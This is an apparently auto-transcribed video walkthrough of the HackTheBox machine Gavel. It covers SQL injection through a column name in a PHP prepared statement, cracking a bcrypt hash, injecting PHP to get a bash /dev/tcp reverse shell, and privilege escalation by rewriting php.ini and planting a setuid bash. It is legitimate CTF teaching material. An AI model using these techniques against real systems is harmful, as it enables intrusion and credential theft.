HackTheBox - Gavel

IppSec · Beginner ·🔐 Cybersecurity ·3mo ago

Key Takeaways

The video demonstrates how to exploit a HackTheBox machine called Gavel, which requires SQL injection to retrieve the password hash, using tools such as nmap, burp, git dumper, and hashcat. The machine can be cracked using hashcat, and a reverse shell can be achieved by copying a file with modified permissions and then executing it.

Full Transcript

What's going on YouTube? This is IPSAC and today we'll be doing Gavl from Hack the Box which starts off with a wickedly cool and unique SQL injection as we'll be injecting into a prepared statement because we have control over the column name. This lets us radically change the SQL query and do some really odd things to get SQL injection. Once we do this, the box becomes somewhat straightforward with further source code analysis of the PHP web app and some reversing on a binary to understand what it is doing. But with all that being said, let's just jump in. As always, we're going to start off with an end map. So - sc for default scripts, sv enumerate versions, d-v vv for double verbose. This gives us things like the ttl o a upput all formats in the end mapap directory and call it gavvel and then the IP address of 10101.97. This can take some time to run. So I've already ran it. Looking at the results, we have just two ports open. The first one is SSH on port 22 and the banner tells us it's an abundu server. We also see HTTP on port 80. The banner tells us it's Apache HTTPD and is redirecting us over to gavl.htb. So I'm going to add this to my host file. So let's do a pseudov etsy host. And then I'm going to add 10 10 1197gavl.htb and I'm actually going to rerun this end mapap script because I want to show that um if you have the DNS name more like script will run, right? So let's do a pseudo nmap- scv. I'm just going to specify port 80 so it goes a little bit quicker and then um 101011.97. And this shouldn't take too long to run because we're only testing one port. And while that goes we can take a look at what the website looks like. So gavvel.htb and my burp is on. So I'm going to turn intercept off. And we get this page. So it looks like we're on some type of auction house, right? We can log in, register. Um I want to see what type of website this is. This is just a standard Apache 404 page. If I do like index.html, we get a 404. If I do PHP, we get a page back. So, we know this is going to be PHP. Taking a look back, we do see there is a.get directory exposed that our end map is telling us. So, if we just went over to um slash.git, we can see this. So, I'm going to run a git dumper. So, I'm going to make a directory called source. And then we can say get dumper um http uh we have to specify gavvel.htb.getit and put it in the source directory. And now it's going to download this git repository, extract it and put it in source for us. But let's go take a look at what other functions we have on the website. And of course um you could have ran pherobuster with the word list and found.git. There's a bunch of ways we could have done that, right? But I'm going to go over to register. I'm going to create an account. Um, IPSAC. I'm just going to do password to log in. And one thing I've like testing lately is just ways to enumerate usernames because a lot of places have started putting protections to prevent you from enu um enumerating if an account exists. It's kind of silly because normally you can just register with that account and it will tell you anyways. But one of my um favorite ways is just looking at timing. So, I'm going to intercept this request, and we're going to put this over into the repeater pane. And a successful login takes around 1,200 milliseconds, right? Um, let's do that again. Uh, I put a space there, so it wasn't a valid request. 1,200 1,200, 1200, 1200. So, let's change my username. So we're going to do um definitely not IPSAC and we'll see 1100 1100 1100. So we know it takes around 100 milliseconds on extra for a valid account. And why is that the case? Because on the login it's checking if the username exists and then if it does it's going to validate the password. Now this is probably going to be like brypt 2 and that password validation actually adds 100 milliseconds into the request. So that's why on valid names it takes a little bit longer than invalid. So the fix there would be just making sure on invalid um usernames or users that don't exist also just like randomly hash something so you have that same 100 millisecond delay but not really that important. Um we could test if like accounts exist like admin and this is 1100 milliseconds. I'm going to do it like three times and we see they're all 1100 milliseconds. So there's probably no admin account. If we just do user again, demo, we could just test a bunch of these. I think fuff you could even like match a response time. So you could use fuff to identify this. But if you use fuzzing um your brute force may actually start causing delays and it can be um lead to more false positives. So always be careful with this type of enumeration, but it is fun to do. Um our get dumper has now finished. So let's go ahead and take a look at the source. Now we could just open this up in Visual Studio Code and I have Sneak installed. So hopefully the uh static code analysis will find some things, right? And then after this I'm also going to compare it with um OpenGP which is just a um code analyzer I like using. So I'm going to go over to Sneak. We're going to let this um run. There we go. Let's go ahead and only look at code security things. Um, why is that not going? No workspace was granted. Oh, trust. There we go. So, now it's scanning. So, while that goes, let's go ahead and use open grep. So, let's run open grip. And then we give it the scan argument -f for the rule directory. I'm going to do opt rules php. And I don't know if this is still the best um rule set for this. If you didn't know, open grep is a fork of sp maybe an open grep rules that's a little bit better. But for now, I just like using sgp rules. And then a period for current working directory. And the thing I like about open grep is it all runs on my host. Doesn't send the source code anywhere. So you can almost always just use this. Now tools like sneak may be a bit better, but um it sends all the source code over to sneak to analyze, I think. So like you may not be able to use it depending on your rules of engagement. Open GP is much better from like a privacy perspective, right? So let's just look at this. We do have a um cross-ite script vulnerability right there. If we go up, there's also a SQL injection it's talking about right here. Um and that looks to be all the highs, right? So we got SQL injection inventory.php. Now let's go take a look at what Sneak says. So I'm going to go over here and we do have a few things. We have SQL injection as well and then lots of use of password hash without insufficient um computational. I guess it's using MD5 in some cases. Um but those are lows. But we do have an SQL injection and I'm trying to see if we can make this easy to do in code. I'm just going to do it in Vim. So if we look at inventory.php PHP. Um, the SQL injection is actually down here. And this is going to be a little bit hard to um inject. It's a bit of weird one because we're in a prepared statement, right? Um, but the prepared statement is only um binding over here and this field, this select column, it's actually user input. There's no like um nothing binding it down here. It's not like user ID and call, right? It's not doing both of them. If it was like that, then you'd do a question mark here, but I don't think like the MySQL driver on PHP, maybe it doesn't do a good job with um column names. I forget exactly why. I think the blog post kind of explains it. I've never actually seen this in the real world, but I didn't know about this technique until I saw this box. So maybe it's more common than I think, but I kind of think it's a weird um gotcha with um CTFs right now, but maybe it exists in the real world. Who knows? But let's go ahead and go over to Google and see if we can find that blog post. Um thankfully, like there's not a lot of information on it, so it should be easy to find this uh PHP SQL injection prepared statement PDL. Let's see. Uh Stack Overflow. There we go. Novel SQL injection technique. And this whole blog post is good to read. Um it was I guess found in the down under CTF was the first time uh this author saw it. But let's go take a look at the post, right? Um they're talking a lot about prepared statements. We'll kind of dig into it in a second. Um right here, the impossible SQLI. One common scenario where user input appears in a prepared statement is the column and table names. These can't be bound. So the developer is forced to insert them directly into the query. So if you're wondering like why wasn't this prepared like I kind of showed, it's just not supported by the PHP prepared statement driver at least. Um not right now. Um the whole blog post is a good read, but the main thing we want to talk about is kind of how it works, right? Um I think this is the case in like PHP 84 or something that you have to use a null bite at the end. we'll use it, but I don't think it's needed for this box because I want to say the box is running an older version of PHP where it's not. Um, but essentially the whole trick comes down to um being able to inject a new question mark, which is a new um statement. So, this is going to be a little bit hard to explain, I think, but we'll do our best. Um, I'm going to do grap PDIO of inventory. And I just want to grab this statement, right? So, let's go up one v. Um, I'll do explain.ext. I'm not saving it. It doesn't matter. So, this is our statement, right? And we have access over both this question mark and the call. There is a gotcha around the column. Um, it is stripping out back ticks. So if we do V source inventory, the column is going to be this sort item and it's going to replace any back ticks, but it's also going to wrap it around back ticks. And the reason for this is my SQL allows you to like declare table names in backtick. So like in that statement, it would be um let's just do a new line like select item name. So that's the intent, right? And because it's not letting you write back ticks, it's hopefully sanitized. So you can't escape this piece, right? But we'll see. We'll be able to. So what we're going to do is take the um this parameter and we're actually going to write a question mark and that's going to get injected. Not that parameter. We're going to take the column and we're going to make this a question mark and we're going to rewrite the query to essentially be select um question mark and then we're going to put a comment and then like null bite it out. So what that's going to do is erase all of this stuff from the query, right? And then we'll bind to this one and write a new query. So we're essentially injecting a full query. And the main issue with doing this is we'll have to work around um the back tick and quote. So let's go ahead and um start doing this real quick. So we have to log in first. So let's go ahead and turn our proxy off. And I'm going to go here. We will enter the auction hall. Go to inventory. And I just want to get a post request. So now we'll go burp on intercept on enter. Send this over to repeater. I'm going to change the request method to be a post because that makes it easier. And we have to give it I think user ID and sort. Um let's see. Yep, that is correct. We see sort right here. That's going to be sort item. And that goes into the column. And then we also have user ID right here. It's kind of weird how they're doing this. Like I think the dollar request does this natively. I don't know why it's doing it this way. Like if post is not set, then do a get. If that's not set, then do a session. Really odd um PHP code. But yes, um sort goes into the call parameter and user ID is the filter. Awesome. So, we'll do user ID equals 1 and sort equals um this really doesn't matter right now. I'm just going to get this vanilla query out and then let's go back over into our thing and show exactly what's happening here. Right? So, it's going to wrap back ticks around this. And in my SQL, this can like just declare like a table name, a column name, I think. But also, we're going to replace this column with a question mark, a comment, and then um a null bite. And what that's going to do is essentially erase all of this. So, we put this question mark here. So, now our user ID binds to this parameter. So we've changed where it's binding in the SQL statement from over in this where to over in this column. Now this is going to be a little bit tricky because um we have to write a really odd query, right? But we can now use um back ticks. So what it's going to do since we are bound it's actually wrapping our query inside of um single quotes I think something like this right and that one gets truncated off so we're going to put a x and then a back tick and this looks weird and you just can't really think of this single quote as a quote anymore because it's wrapped in these back ticks this is actually going to be treated as a column name the single quote x column name. So don't think of it as a quote. And this is why the injection happens because now it's changing the purpose of a quote. So it's no longer an escape character. And this becomes a really weird syntax. So now we have to do a from because again we've killed off the query. And then we to kind of do a subquery. So we can do select and then I'm going to do um I wonder if we can just do version. Maybe this would be easiest if we specify version and then as and we can use back ticks or anything. So we're going to put a back tick here. A single quote xback tick from uh do we have to even do a from? I don't think so. Let's just try this query. Um I don't know exactly why we have to put a character here. It can be anything. Um what here doesn't matter. It's just making the query valid. I think this may be working. I'm not positive. It is a really weird thing. But again, um, at glance, it's really easy to think of this as a quoted string, but again, the single quotes are part of the column name. So, we're saying, hey, select column name um, a single quote X, and then we're selecting the version and saying that is um, in column single quote X. I hope this works. This is a really odd injection and I'm still new to it. So, we'll see. Let's make sure my session is still valid. It looks like it is. So, let's change the user ID to that. And then I'm going to do a control U to URL and code it all. And then the um sort I think we do uh this actually don't think I need the null bite in this one. Um does this work? I don't think it does. This is going to say no items, right? Inventory of IPSC. So yeah, we did not get it working. It doesn't look like it because I noticed the size is still 4,100. So this is probably going to say inventory of IPSC. Inventory is still empty. Uh what did we do wrong? Oh, we copied the select. Um so let's delete all of that. Go again. 4889. That is a different number. So this looks much better. Uh let's go down. There we go. So we have the my SQL version. So now this works. What we could do is um also specify a table, right? So we can do from and then like table name. And of course we can change this piece up as well. So what I'm going to do, I'm going to do column name. And what we want to do is look at the source. So if I go in source, I can look at login. And then I'll also show getting out of information schema after this. But since we have the source code, why not, right? So we know username exists. Um the table is users and we also have password and role. So let's do column name. Let's just test this out with um it was password, right? Yes. So we can do password and then from users do this 5693. That is looking good. and we get a password hash here. So that looks like a brypt. So if we want to, we could also do a concat and then username password like this and get multiple values. Um there's going to be a weird trick in a second. Let's look at this. So we have auctioneer then the password. Um we ideally would want to go like single quote x like this. But this will probably break. We see 4100 bytes which means um inventory empty. Let's do empty here. Yeah. So what happened here is because we put these single quotes it is wrapping those or doing something weird and making the query invalid. So we want to do a semicolon but not um put it in quotes. So we can just use the hex form of this. If we just URL encode a character, it does um percent 3A which is a URL encode. We can just do 0x and my SQL will now um treat this as we expect. So we could I this is the exact same thing as doing a single quote like that. Um just without single quotes. It's a weird evasion technique, but now we should have auctioneer colon the password hash. Um, we could now grab this entire page. Let's just do v um hashes.ext. I guess we're going to paste this. I know this is more than the hash. We can just do um let's grap for strong on hashes.ext because that's where we saw this. And there's only two accounts, so it's not really that hard to do. But if there were a lot of accounts, what I would do is just a um said string now. So we can do said search and replace. I'm going to grab all of this. And we could probably use a or other things. Um, my go-to is normally just said. So, that removed that. Um, I guess we should grap for strong like this because we got extra data we did not want. Um, I guess we'll always get that. Uh, let's see. I wonder if we can also grab card title. There we go. And then what we want to do is pass it to set again. And then I'm going to get rid of slashstrong. And let's see. Maybe we have to escape a few characters. Uh that didn't work. Do we not escape those? There we go. And now we just have username hash. So now we can just do the G or something. And I'm going to move G back over to hashes.ext. And we could pass these over to hashcat to crack. But I did say we'd show a way if we didn't have the source code and somehow found this SQL injection, which I don't know how we would do. Um we could easily just do um let's do like a select uh column name as X from what is it information schema columns and then a where um table schema is equal to and uh we probably have to look at the table schema thing first. Um, I'm going to cheat and we know the database is called Gavl. I'm sure if you go to IPSC.rocks and type SQL injection manual, um, you'll find plenty of videos. But if we do this, let's do convert selection URL and code. And then I'm just going to do a 0x and then this. And this should get us a list of column names, right? We have password. We could do again a um concat. So let's do concat. Let's buy table name column name. Let's do was it semicolon, comma, like this. Again, we have to URL encode this so we can get the hex. I wish I just remembered it. It's 0x. There we go. And let's see. Inventory empty. Uh because we didn't close the concat. This is a much bigger page. I'm going to grab this whole thing. V temp paste this. Let's go back to our ugly said and I'm just going to say temp there. And there we go. We have pretty much everything we need right here is the auctions table all the columns. It has inventory all the columns users all the columns. So that is how you do the SQL injection. But now let's go ahead and copy these hashes. And I'm going to go over to hashcat. So we can do sh kraken which is just a box I have my network. Um I like kraken on a different box. You can crack on anything you want. I'd recommend your host machine uh not a VM because cracking is a very CPU and GPU intensive process and VMs don't do that well. Um we'll call it hashesgl I guess. Paste this in dot slash hashcat hashesgavl um up word list rocku.ext. And we also have the username in the hash. So I'm going to give it the dash username flag. I think it's either username or user or maybe it's both. Um, let's see. Specify the hash. This looks like a standard brypt. So, let's do this. Um, I always default to just the standard one because that's what it normally is. I guess supposedly it could be forms, CMS, e-commerce, but unless like something specifies that, it's probably just going to be this type. We get both cracks. Um, one was just password that is going to be us. If we do a dash show, um, we got to get rid of the word list. Uh, username. What? Oh, we have to do uh mode 3200. There we go. We see auctioneers password is midnight one. So, let's go ahead and see if we can log into the application as this account. So, I probably should disable this. And then we can go to login auctioneer midnight one and we get logged in and there is a admin panel and we can do edit rule edit message and that's pretty much all we can do. So let's go ahead and take a look at the source code again with a focus on the admin portion. So if we look at admin.php PHP. Um, let's see. We have some rules here. So, this is exactly what we're able to do. Um, and we're setting the rule in the database. And we don't know exactly what the rule means just from this code. Uh, so if we look around, there is a rules directory. If I go into here, we have default.yamel. We look at it and we can see the rule. This kind of looks like code to me. mainly because I see we're doing arithmetic like math. Um, so this looks maybe like an eval statement. It's just returning something. Um, and this something it looks like it's going to be a boolean because there's always some type of comparison and then a message. So let's go ahead and take a look at exactly how rules are used. I'm just going to grap our um let's do our I guess rule period. And wow, we got a lot. Um there is a bid handler. So let's go into includes and then v bid handler to see what is happening here. So looking at rule um we're going to check if it exists. We're going to add the function and we have this function called rule check. I don't know exactly what that is but it's allowed. So it looks like a white list to blacklist certain things. Um, we g-r rule check on this. Let's see. I don't even see where it's defining this function. Is it loading something we don't have? I'm not sure. Um, but again, it's doing this runkit function ad. Does this have anything? Is this PHP? Uh, is it PHP-X? Hey, there we go. Is this a function? Undefined function grip. Let's go. CD dot grip-r. I don't know where it's actually getting this stuff from. I wonder if it's in like a PHP config that we don't have access to. But let's just try creating a malicious rule. Right. And all we have to do is return a boolean. So we're logged in here, right? Yep. So, I'm going to do let's do it here. Um, the rule I'm going to do a system then bash- c. I should probably do a ping or something first to make sure it works, but let's just yolo it first try. Um, 10 10 148 9,0001 standard reverse shell syntax. Close out the double quote. Close out the single quote. And then we have to return a boolean. Um, I don't do that. Uh, return true. Yeah, this may work. Let's go. Cat rule. Copy this. NC LVNP 90001. Let's edit the rule message. Um, I'm going to call it shell. We will click edit. Rule message updated. Let's go to bidding. Enter a bid. Um, we'll do 1300. Place bid. It hung. And we got a shell. So, it looks like that worked, right? We put a rule in. I guess this is um testing various things. So, if we did like 1679 and placed a bid here, like these are what the rules are for. It's like enforcing um how much you can bid, right? But we injected PHP code and got a shell. So let's do Python 3- C import pty pty spawn bin bash control zty raw minus echo foreground enter. And then we can do export term is equal to xterm and that's going to let us clear the screen. Awesome. Now, normally I'd go after the database, but since we've already dumped that, let's just go through our standard enumeration. Um, normally I'd run lin piece because it does a lot of things for us, but it does add a bit to the video. And there's a lot it does. Um, the first thing I normally do is always just look for what processes is running under root. And here we see something interesting, at least a few things. Um, we have this auction watcher. We can't read the script because it's in root. Um, we have this gavvel davl damon. Um, we have another script. This timeout gavel. Um, the sleep one that's probably part of the cron or something. I don't know exactly what that's doing. We could probably use like a PSF force and get an idea. But this is interesting. The opt gavel gave d. So let's take a look at this. And if we look at the directory, there is a few things. And let's see. Um, that is owned by root. So, is there anything else we can look at? Um, let's just go. Oh, there's a config and we can go in that. So, cd.config php PHP any. So, there is a PHP config and this has disabled functions. So, we can see exec shell exec system passed through pen. So, a lot of disabled functions in this config. Um, is there is this a directory submission root root sample? So, we can't really do too much. Um, let's go ahead and take a look at um what user on this box. So, I'm going to do a GEP for everything that ends in sh on pass wd because that's going to be all the shells like uh bash dash sh zsh whatever. And we see there's an auctioneer user. Now, let's go ahead and see if we can SSH as them or switch user, I guess I should say. Um, midnight one. Is that the password it was? I'm pretty sure it was. Um, let's go here. I may have mistyped that. Let's just copy and paste. Su. Oh, I didn't even specify auctioneer. There we go. Paste this in. And we get logged in. Now, I always like trying to go for SSH because it's a more stable shell. But if we try this in this case, so 10 10 1197. Um, let's paste in the password. We'll get access denied. And I think if we go to Etsy, is it SSH? Um, let's see. There should be some type of config here. Let's just grab R auctioneer. Period. There we go. We see in the sshd config there's a deny user auctioneer. So that is preventing us from sshing into the box but we can just access the box uh through su. So now let's go ahead and um see what groups we're a member of. So we can see we're auctioneer and gavvel seller. So if I do a find slash-g groupoup gavvel seller and let's hide error messages to see all files owned by this. We have this gavveld d.sock and there's also this gavvel util. So if I go user local bin and we try to execute gavl util we can see we have a few things we can submit a file it's going to be yl format. Uh we got stats. So if I do stats we have this um an invoice. Let's see what this does. Uh we can't open log. Do we have sce? We probably don't. Um, oh wow. I did not think we'd be able to do that. Uh, let's see. What is the log? FS stat. Um, let's see. We're writing that. I thought I'd be able to see it opening a log, but I don't see any file name here. So, I don't know exactly what's going on here. Maybe we'll open up in Gerra and see what's going on. Um, but let's see. There could be a submit as well. So if we did submit and we need a file in YAML format. If we just do ASD, we get failure to read. But let's go ahead and CP opt um what is it? Sample.yaml. I'm just copy it to dev shm. And let's do dev shm sample.yaml. And we have yl missing required keys name description image price rule whatnot. So, let's go dev shm. And we have all that. We have name, description, image, price, rule, message, and rule. It's under this item thing. So, I'm just going to go ahead and remove that real quick. So, remove that. And let's go ahead and remove these spaces. Right. There we go. Go up one directory. And we can submit this. And that looks like it worked. Um, so if we cat this, we have this rule and this is probably being written if I would guess to like that Gavl D process, right? The Gavl util makes sense to talk to the Gavl server and we also saw there was some PHP code blocking the use of system and things like that. Um, but for now let's just copy the util and GAVL to our box. So let's go nclvmpp 90001 and I'm going to call this gavvel util and we can cat this to dev tcp 1010148 90001. So that file saved and also we want to get gavvel d. So where was that op? Yes, it was cat gavel gave d to the same place. Awesome. So now we have both of them. Um I'm going to open up gedra. So we can do op gedra gedra run. Oh, one more directory. There we go. And that'll open up gedra. And then we can go ahead and create our project. And we'll just call it what? Gavvel. And then click on the dragon. And we'll load the first binary. I'm not going to go too indepth with this um reversing. The applications are somewhat simple. And I did a lot of this through just dynamic analysis. That's generally my go-to. Um, we could potentially like load the GIRA MCP and then have Claude rename a bunch of functions, but that's a little bit of a pain to set up and I don't feel like setting it up in this video. So, maybe in a future video we'll go over like using AI to help rename things, but I don't think you really have to go that far onto this because the binary is pretty simple, right? We don't really have that many functions here on the Gavl util. Uh, there is this environ which is interesting. We may dig into that. Oh, that's not even that. That's just a call to environment. Um, but if we go back to main, we can see right at the top, we're counting the number of parameters. And this is probably going to just exit with an error message if we have um less than two parameters or yeah. Um, so we got submit and then if we do submit, it looks to make sure it's a file. We check some file size so we can't have a file that is too big. We open up the file right here. We're reading the file. We're connecting to a socket. It looks like the sockets at varungal d.sock. We open we create a JSON object and then we write it to that socket essentially. And that's pretty much it for the util. So let's look at gavvel d. Analyze it now. Yep. Let's look at the exports again. And there's really not that much and it's not stripped. So we have like main, we have is valid in um configuration and PHP safe run. So if we look at main, it's going to make the directory uh opt gavel submission. Is that existing on the box? I don't know if I saw that. Um I did. And oh, we can't get into that directory. So that's why we didn't really look into it. Okay. It's going to delete the socket and then looks like it probably recreates that. So we listen um if we can't get the group name gavvel seller it's going to default to root root I guess chmod except break whatnot. So if we look at PHP safe run we can see a little bit of an odd thing. Um, we're getting the making sure it's a JSON object and then if rule path exists in the JSON object, then that's going to set that rule path to Ivar1. Else, it's going to copy this configuration into it. And that's what we had saw, right? Oops, I did not mean to create a window. Um, if we look at that, there we go. This clipboard, we can see this is the PHP config it's running with. And the main thing here is we have a bunch of disable functions. Now, there are two ways we could do this. Um, because this disable function isn't blocking our write privilege, we can just write a new PHP configuration over top of this, then run it again with a system and get code execution. Now, I'll probably show that at the end of the video, but there is something else interesting we can do if we do dynamic analysis or fully understand what's going on, and it has to do with this rule path, right? Um, we haven't seen it yet, but I'm sure we'll get there in a second. Um, right here, we're running the sandbox, and if we have a violation, we return illegal rule. So that's what's going to block us from going into the sample and putting a rule of a reverse shell is um the PHP configuration is blocking a lot of those system commands, right? However, um it's going to pull rule path from this. And the easiest way to understand what rule path is is doing some dynamic analysis. That just means running the binary on a box, right? So, I'm going to make a directory called temp. Uh we have that already. I'll make it called gavvel, I guess. And let's move. If I could just cp these two binaries. Uh I don't need gavvel d actually. We just need util. And I don't know why I'm bothering um moving it. We don't need to, but oh well. Let's do chmod plus x gavvel util. Let's get our sample here. So if I cat sample.yaml, we can grab this b sample yaml paste. And we had to remove these spaces and delete item. So if I try to run gavvel util now on submit sample on my box, we can't because this varun gave d.sock doesn't exist. So I'm going to use socat. So let's do pseudo socat. I wonder if I even need pseudo. Let's try this without pseudo first. Um Unix listen. So we're going to create a socket. varun gavvel d.sock. sock. Um, we can fork it. And then output is going to be standard out. Uh, we have permission denied. So, let's do pseudo. Run this again. Uh, can't connect. That's probably going to be permission based, right? Gavl D.Sock. Yep. Let's just do chmod 777 on that. And make sure we run this with pseudo. So now when we submit the sample, we get the JSON. So we have the rule here and this is pretty much the file right but it added a lot. So it added this giant block and this is going to be our environment. So we see env here and then we have everything um rule path does not exist but since it's putting this environment here I bet if we add rule path to our environment and resubmit um we would get that. So, let's try hold on rule path and we'll say um please subscribe. I do this again. I have to do that chmod. There we go. And there we have the rule path is now in this JSON. So, what we want to do is go back to the box and let's see. Um, we can cp sample. Do we still have indev shm? We don't. So, we can cp sample to devshm. I also want to copy the config php.in any to dev shm. Okay. And let's edit sample.yamel with that. And then let's go back to our directory. Oh, actually not yet. We should put the reverse shell. So, let's do bash c. Oh, we need to do system. Um, yeah, I'll do system. And let's see, we'll do cp bin bash to dev shm bash and then chmod 477 5 on devshm bash. That should set the sticky bit. I'm not doing the reverse shell thing because I'm in quotes and it's always a pain to do that, right? So, let's do um return true. I think I have two Rs there. So, let's clean that up real quick. T R U E. We can c this. That looks fine. So, let's go back here. And then I'm going to say rule. Oh, we didn't edit um or PHP. So let's remove these disable functions. So nothing's disabled anymore. There we go. So I can say rule path is equal to it's underscore dev.shm php.iny. And then we can say yeah gavvel util submit devshm what was it called sample.yml there we go item has been submitted it will be reviewed in next auction. So if we do lsla on devshm we do have bash and we see the set uid bit is set here. So if we do devsh do id uh we are not root that is probably going to be um the what is it let's just do what is it um no rep shm I forget what it is no sew it so node sew it is set on that so let's do um we'll write it to auctioneer or we can write to home. We can't actually write it to temp because um there's a systemd temp um private temp involved. So if I do ls-tmp or ls l tmp um you can see I'm in there's nothing here. Um, when we get to root, you'll see there's more directories, and that's because we shelled the web server and we're in a private temp. So, um, that may be easier to show after we root the box. Uh, I want to go dev shm sample yaml. Let's copy bin bash to home. That should be fine. I forgot the second one. And the reason why I'm copying it is so bash just doesn't get this globally inside of bin bash. Um, so we can submit it again. We do lsla on home. Now we have bash there. Let's do home bash-p ID. And there we go. Our effective ID is root. So we do cdroot, we can get root.ext. If we do lsla on temp, it's still empty there. So I'm going to do cd.sh. Um, let's create a authorized key file. So do I have sh keys on my box? I do. ided e pub. Sure. Copy this to authorized keys mod 600. So it should now be sh root at um 1010 1197. I can type. There we go. So if I go in cdtemp, we see temporary directories. So if I go in temp here and we do touch please subscribe subscribe do lsla that doesn't exist here and that's because we shelled the box from Apache. So we do lsla and this we got temp and then we got the please subscribe file here. Um we could have just like um went into cron as auctioneer and then put a reverse shell there and that probably would have escaped it. This is all happening because our parent process is apache right. So that is why we're not using um slashtmp for this. So I did say we could do one other way. So if we didn't do all that reversing to find out um rule path can be set from an environment variable uh we still can shell the box because we can um create a PHP function to just rename it. So let's go back to dev shm um shoot it already deleted our stuff. So we'll just to create it. But I do want to make sure I am root here. We can exit. There we go. Um so let's copy the sample to dev shm. We want to copy the config php um cp php anyshm. Let's go here and let's see. Copy is not disabled. So, I'm just going to use the copy function. So, we'll delete all that. Save that. And then go into sample. And what we want to do is just create a rule that's going to copy. And I think copy is actually a PHP function. So, we can just copy. There we go. devsh php.in any do what op gavel I should probably copy this cd up gavel config php we can copy this and that's just phpin any so we can go back here paste phpin any And we'll have to return true. And delete the spaces here. Delete that item. There we go. And let's see. Go up to directories. I don't have to do that actually. Um, gavvel. That's not it. Submit. There it is. Um, my terminal is all wonky. Gavl tail submit dev shm sample.l. Uh, rule violation. Sandbox return. We screwed something up. Dev shm sample. Forgot the single quote there. Copy expects two parameters. One given. There we go. uh open base directory is restriction in effect. It's not within allowed path. So let's just try changing it up to be um I'm going to say a fallput contents. So we probably need engine on uh disable functions and open baser. This is going to be the hard one to remember. Actually I can just copy and paste everything. So I want to do engine equals on and then a new line open base dur is equal to we'll just do a new line to unset it and then disable functions is a new line. So this can be the config we write. Um I bet if I do print f that makes it easier to read. My terminal is all sorts of odd, but this is what we want. So, let's copy this. Uh, we'll probably have to use um we'll see how we get into this dev shm sample yaml. So, the rule we're going to do a file put contents. So, this will write something. So, file put contents. We're writing over top of that. And what we want to do is let's see we if we do backslashes we can escape that. Is this right? What if we submit now? There we go. It's been submitted. And then if we look at our config, we have now essentially erased the config. So here we could now just get a shell again by um doing what we did before with the copying a file ch modding it and whatnot. Um, let's just try cp devshm sample to devshm reset config.l and I c that so I have it. And then let's try doing a reverse shell real quick. So since that is reset, we should be able to do a system command system bash- c- i dev tcp 1010 148 I forgot 9,0001 0 and one. We'll see if this works. Submit. There we go. And we are root. So, if we didn't want to do the like shell copy as I showed earlier, we could do the um other way. I just always hate doing that because it's a 50/50 if I ever get like the quote seception correctly right because we are in quotes already. I didn't know if I just escaped it like that if it would work, but it did. So, um that's going to be the box. I hope you guys enjoyed it. Take care and I will see you all next time.

Original Description

00:00 - Introduction 00:30 - Start of nmap 02:00 - Discovering .git directory, using git-dumper to download source code 05:50 - Using OpenGrep to identify vulnerabilities and discovering an SQL Injection in the Prepared Statement 08:30 - Going over this weird SQL Injection in PHP MySQL Prepared Statements, which is an odd scenario of having control over the column name in the query 11:00 - Creating the SQL Injection Payload in the prepared statement 18:40 - We can't use a ascii quote, but can hex encode to get around the limitation 23:50 - Cracking the hash and getting admin on the application 26:00 - Looking at the admin functionality, discovering rules can contain PHP which will get us RCE 30:00 - Shell on the box 33:30 - Discovering the gavel-util and gaveld binary, copying them to our box 36:30 - Opening the binaries up in Ghidra 41:30 - Doing some dynamic analysis on our box, running gavil-util to see what it writes to the socket 44:30 - Setting the environment variable RULE_PATH to change where gaveld loads the PHP Configuration from so we can bypass the disabled functions 50:15 - Showing another way we could exploit this, using PHP to rewrite the PHP.INI removing the disabled functions.
Watch on YouTube ↗ (saves to browser)
Sign in to unlock AI tutor explanation · ⚡30

Playlist

Uploads from IppSec · IppSec · 0 of 60

← Previous Next →
1 HHC2016 - Analytics
HHC2016 - Analytics
IppSec
2 HackTheBox - October
HackTheBox - October
IppSec
3 HackTheBox - Arctic
HackTheBox - Arctic
IppSec
4 HackTheBox - Brainfuck
HackTheBox - Brainfuck
IppSec
5 HackTheBox - Bank
HackTheBox - Bank
IppSec
6 HackTheBox - Joker
HackTheBox - Joker
IppSec
7 HackTheBox - Lazy
HackTheBox - Lazy
IppSec
8 Camp CTF 2015 - Bitterman
Camp CTF 2015 - Bitterman
IppSec
9 HackTheBox - Devel
HackTheBox - Devel
IppSec
10 Reversing Malicious Office Document (Macro) Emotet(?)
Reversing Malicious Office Document (Macro) Emotet(?)
IppSec
11 HackTheBox - Granny and Grandpa
HackTheBox - Granny and Grandpa
IppSec
12 HackTheBox - Pivoting Update: Granny and Grandpa
HackTheBox - Pivoting Update: Granny and Grandpa
IppSec
13 HackTheBox - Optimum
HackTheBox - Optimum
IppSec
14 HackTheBox - Charon
HackTheBox - Charon
IppSec
15 HackTheBox - Sneaky
HackTheBox - Sneaky
IppSec
16 HackTheBox - Holiday
HackTheBox - Holiday
IppSec
17 HackTheBox - Europa
HackTheBox - Europa
IppSec
18 Introduction to tmux
Introduction to tmux
IppSec
19 HackTheBox - Blocky
HackTheBox - Blocky
IppSec
20 HackTheBox - Nineveh
HackTheBox - Nineveh
IppSec
21 HackTheBox - Jail
HackTheBox - Jail
IppSec
22 HackTheBox - Blue
HackTheBox - Blue
IppSec
23 HackTheBox - Calamity
HackTheBox - Calamity
IppSec
24 HackTheBox - Shrek
HackTheBox - Shrek
IppSec
25 HackTheBox - Mirai
HackTheBox - Mirai
IppSec
26 HackTheBox - Shocker
HackTheBox - Shocker
IppSec
27 HackTheBox - Mantis
HackTheBox - Mantis
IppSec
28 HackTheBox - Node
HackTheBox - Node
IppSec
29 HackTheBox - Kotarak
HackTheBox - Kotarak
IppSec
30 HackTheBox - Enterprise
HackTheBox - Enterprise
IppSec
31 HackTheBox - Sense
HackTheBox - Sense
IppSec
32 HackTheBox - Minion
HackTheBox - Minion
IppSec
33 VulnHub - Sokar
VulnHub - Sokar
IppSec
34 VulnHub - Pinkys Palace v2
VulnHub - Pinkys Palace v2
IppSec
35 HackTheBox - Inception
HackTheBox - Inception
IppSec
36 Vulnhub - Trollcave 1.2
Vulnhub - Trollcave 1.2
IppSec
37 HackTheBox - Ariekei
HackTheBox - Ariekei
IppSec
38 HackTheBox - Flux Capacitor
HackTheBox - Flux Capacitor
IppSec
39 HackTheBox - Jeeves
HackTheBox - Jeeves
IppSec
40 HackTheBox - Tally
HackTheBox - Tally
IppSec
41 HackTheBox - CrimeStoppers
HackTheBox - CrimeStoppers
IppSec
42 HackTheBox - Fulcrum
HackTheBox - Fulcrum
IppSec
43 HackTheBox - Chatterbox
HackTheBox - Chatterbox
IppSec
44 HackTheBox - Falafel
HackTheBox - Falafel
IppSec
45 How To Create Empire Modules
How To Create Empire Modules
IppSec
46 HackTheBox - Nightmare
HackTheBox - Nightmare
IppSec
